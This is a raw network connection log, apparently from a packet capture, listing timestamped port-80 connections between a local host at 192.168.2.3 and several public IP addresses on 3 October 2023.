Oct 3, 2023 09:55:29.495687962 CEST	49892	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.495928049 CEST	49892	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.496331930 CEST	49892	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.562156916 CEST	80	49893	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:29.562458038 CEST	49893	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:29.562633991 CEST	49893	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:29.563908100 CEST	49893	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:29.590728998 CEST	80	49892	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.590837955 CEST	80	49892	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.657613993 CEST	80	49893	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:29.659441948 CEST	80	49893	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:29.857815981 CEST	80	49892	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.857877970 CEST	80	49892	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.858170033 CEST	49892	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.859092951 CEST	49892	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.980986118 CEST	49894	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:30.075988054 CEST	80	49894	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:30.076267004 CEST	49894	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:30.076447964 CEST	49894	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:30.076858997 CEST	49894	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:30.171350002 CEST	80	49894	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:30.171407938 CEST	80	49894	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:30.450153112 CEST	80	49894	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:30.450213909 CEST	80	49894	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:30.450361967 CEST	49894	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:30.451319933 CEST	49894	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:30.578352928 CEST	49895	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:30.673279047 CEST	80	49895	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:30.673541069 CEST	49895	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:30.673625946 CEST	49895	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:30.674078941 CEST	49895	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:30.768359900 CEST	80	49895	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:30.768630981 CEST	80	49895	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:30.914094925 CEST	80	49893	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:30.914134026 CEST	80	49893	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:30.914230108 CEST	49893	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:30.915498018 CEST	49893	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:30.952984095 CEST	80	49895	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:30.953022957 CEST	80	49895	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:30.953100920 CEST	49895	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:30.957416058 CEST	49895	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:31.053525925 CEST	49897	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:31.070903063 CEST	49898	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:31.148307085 CEST	80	49897	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:31.148417950 CEST	49897	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:31.148581028 CEST	49897	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:31.149017096 CEST	49897	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:31.165997982 CEST	80	49898	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:31.166089058 CEST	49898	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:31.166299105 CEST	49898	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:31.166668892 CEST	49898	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:31.243314981 CEST	80	49897	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:31.243664026 CEST	80	49897	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:31.260680914 CEST	80	49898	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:31.261044979 CEST	80	49898	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:31.550868034 CEST	80	49897	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:31.550925016 CEST	80	49897	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:31.550997972 CEST	49897	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:31.552090883 CEST	49897	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:31.632762909 CEST	80	49898	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:31.632834911 CEST	80	49898	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:31.632968903 CEST	49898	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:31.633785963 CEST	49898	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:31.692388058 CEST	49899	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:31.787250996 CEST	80	49899	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:31.787355900 CEST	49899	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:31.787524939 CEST	49899	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:31.787950993 CEST	49899	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:31.882055044 CEST	80	49899	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:31.882389069 CEST	80	49899	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:32.229742050 CEST	80	49899	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:32.229799986 CEST	80	49899	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:32.229934931 CEST	49899	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:32.231024027 CEST	49899	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:32.365145922 CEST	49900	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:32.460290909 CEST	80	49900	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:32.460652113 CEST	49900	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:32.460652113 CEST	49900	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:32.460999012 CEST	49900	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:32.555847883 CEST	80	49900	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:32.555908918 CEST	80	49900	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:32.824086905 CEST	80	49900	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:32.824157000 CEST	80	49900	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:32.824353933 CEST	49900	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:32.825333118 CEST	49900	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:32.965183973 CEST	49901	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.060497046 CEST	80	49901	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.060734034 CEST	49901	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.060827971 CEST	49901	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.061326981 CEST	49901	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.156307936 CEST	80	49901	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.156368971 CEST	80	49901	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.428050995 CEST	49902	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:33.523435116 CEST	80	49902	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:33.523967028 CEST	49902	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:33.524224043 CEST	49902	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:33.524410009 CEST	49902	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:33.619272947 CEST	80	49902	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:33.619636059 CEST	80	49902	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:33.665677071 CEST	80	49901	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.665739059 CEST	80	49901	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.665921926 CEST	49901	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.666918993 CEST	49901	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.793329000 CEST	49903	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.862191916 CEST	80	49902	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:33.862257004 CEST	80	49902	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:33.862435102 CEST	49902	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:33.863311052 CEST	49902	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:33.888698101 CEST	80	49903	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.888922930 CEST	49903	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.888961077 CEST	49903	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.889365911 CEST	49903	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:33.992321014 CEST	80	49903	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.992381096 CEST	80	49903	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:33.999104023 CEST	49904	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.094050884 CEST	80	49904	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.094425917 CEST	49904	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.096066952 CEST	49904	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.096421957 CEST	49904	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.190804005 CEST	80	49904	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.190825939 CEST	80	49904	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.414865971 CEST	80	49904	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.414895058 CEST	80	49904	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.414994955 CEST	49904	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.416120052 CEST	49904	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.551361084 CEST	49906	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.646229982 CEST	80	49906	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.646472931 CEST	49906	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.646718979 CEST	49906	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.647119999 CEST	49906	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.741214991 CEST	80	49906	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.741755962 CEST	80	49906	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.972995996 CEST	80	49906	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.973027945 CEST	80	49906	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:34.973119020 CEST	49906	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.974200010 CEST	49906	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:34.999891043 CEST	80	49903	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:34.999914885 CEST	80	49903	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:34.999974012 CEST	49903	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:35.001420021 CEST	49903	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:35.091604948 CEST	49907	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.153471947 CEST	49908	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:35.187457085 CEST	80	49907	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.187566996 CEST	49907	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.187988043 CEST	49907	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.188502073 CEST	49907	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.249723911 CEST	80	49908	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:35.249830961 CEST	49908	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:35.251135111 CEST	49908	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:35.251636028 CEST	49908	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:35.287754059 CEST	80	49907	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.287976027 CEST	80	49907	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.352061987 CEST	80	49908	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:35.352128029 CEST	80	49908	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:35.514544010 CEST	80	49907	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.514666080 CEST	80	49907	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.514903069 CEST	49907	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.515849113 CEST	49907	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.642267942 CEST	49909	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.739476919 CEST	80	49909	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.739608049 CEST	49909	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.739805937 CEST	49909	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.740236998 CEST	49909	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.834961891 CEST	80	49909	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.836142063 CEST	80	49909	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.975625992 CEST	80	49909	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.975692034 CEST	80	49909	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:35.975739956 CEST	49909	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:35.977520943 CEST	49909	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:36.128222942 CEST	49910	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:36.223757982 CEST	80	49910	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:36.224033117 CEST	49910	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:36.224134922 CEST	49910	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:36.224456072 CEST	49910	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:36.319411993 CEST	80	49910	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:36.319468975 CEST	80	49910	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:37.255652905 CEST	80	49908	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:37.255717993 CEST	80	49908	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:37.255809069 CEST	49908	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:37.461128950 CEST	49908	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:37.592711926 CEST	49911	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:37.688268900 CEST	80	49911	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:37.688437939 CEST	49911	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:37.688587904 CEST	49911	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:37.689044952 CEST	49911	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:37.783199072 CEST	80	49911	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:37.783421040 CEST	80	49911	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:38.883364916 CEST	80	49910	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:38.883426905 CEST	80	49910	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:38.883610010 CEST	49910	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:38.887403011 CEST	49910	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:39.022625923 CEST	49912	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:39.119290113 CEST	80	49912	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:39.119590998 CEST	49912	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:39.119782925 CEST	49912	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:39.121269941 CEST	49912	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:39.214711905 CEST	80	49912	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:39.216448069 CEST	80	49912	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.022811890 CEST	80	49912	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.022849083 CEST	80	49912	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.022973061 CEST	49912	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.024475098 CEST	49912	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.106264114 CEST	80	49911	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:41.106484890 CEST	80	49911	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:41.106632948 CEST	49911	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:41.107728958 CEST	49911	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:41.240860939 CEST	49913	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:41.336035967 CEST	80	49913	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:41.336146116 CEST	49913	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:41.336431980 CEST	49913	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:41.336878061 CEST	49913	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:41.434767008 CEST	80	49913	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:41.434803009 CEST	80	49913	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:41.443794012 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.539076090 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.539314985 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.539503098 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.540349007 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.634829998 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635037899 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635436058 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635489941 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635524988 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635525942 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635559082 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635564089 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635591030 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635598898 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635605097 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635618925 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635632038 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635659933 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635668039 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635698080 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635730982 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.635843992 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.635906935 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732064009 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732127905 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732167006 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732197046 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732202053 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732234001 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732239008 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732245922 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732275009 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732276917 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732301950 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732316017 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732337952 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732352018 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732377052 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732387066 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732412100 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732420921 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732426882 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732456923 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732460022 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732491016 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732496977 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732523918 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732532024 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.732533932 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732559919 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.732589960 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829180002 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829246044 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829284906 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829319954 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829332113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829333067 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829355001 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829387903 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829428911 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829463959 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829472065 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829472065 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829472065 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829497099 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829515934 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829515934 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829515934 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829531908 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829566002 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829566956 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829596043 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829602003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829638004 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829647064 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829673052 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829690933 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829706907 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829736948 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829736948 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829741001 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829776049 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829777956 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829804897 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829809904 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829833984 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829845905 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829868078 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829904079 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.829910040 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829926968 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.829938889 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.830008030 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.830043077 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.830076933 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.830107927 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.830149889 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.830204010 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.830270052 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.830282927 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.830317020 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.830343008 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.830379963 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929513931 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929577112 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929594994 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929610014 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929625988 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929656982 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929691076 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929727077 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929742098 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929749012 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929757118 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929790020 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929809093 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929809093 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929831982 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929837942 CEST	49914	80	192.168.2.3	104.21.81.17
